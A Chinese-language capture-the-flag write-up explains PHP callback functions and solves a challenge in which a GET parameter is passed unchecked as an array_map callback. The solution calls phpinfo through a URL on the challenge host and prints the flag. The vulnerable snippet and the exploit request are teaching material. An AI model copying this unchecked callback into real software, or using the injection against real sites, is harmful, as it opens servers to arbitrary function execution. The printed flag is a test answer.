

php
<?php
function executeCallback($callback)
{
$someArray = [0, 1, 2, 3];
return array_map($callback, $someArray);
}
if (isset($_GET['callback'])) {
$evilCallback = $_GET['callback'];
$newArray = executeCallback($evilCallback);
}
?>
什么是回调函数?
回调函数就是函数被当作参数传递给另一个函数,并在合适的实践被"调用"
PHP中4种常见的回调函数写法
1、普通回调函数(字符串传递函数名)
php
function sayHi($name) {
echo "Hi, $name";
}
// 调用:直接传函数名字符串
call_user_func('sayHi', 'Tom');
2、匿名函数回调(最常用)
不同提取定义函数,直接写在参数里面
php
$numbers = [1,2,3];
$newArr = array_map(function($n) {
return $n + 1;
}, $numbers);
3、类方法回调
php
class Test {
public static function hello() {
echo "Hello";
}
}
// 静态方法回调
call_user_func(['Test', 'hello']);
4、对象方法回调
php
class Test {
public function hi() {
echo "Hi";
}
}
$obj = new Test();
call_user_func([$obj, 'hi']);
题目用 array_map($callback, [0,1,2,3]),这意味着用户传入的函数会被执行,但参数被强制固定为数字 0-3。
当我们传递system()的时候,PHP会执行system(0)、system(1)、system(2)、system(3)
因此不能传递system()函数
这题直接使用phpinfo,phpinfo可以接收整数参数
php
http://challenge.qsnctf.com:55842/?callback=phpinfo
直接在配置信息中找到flag

php
qsnctf{c893c0079b974676b4dbffad9c43b7d8}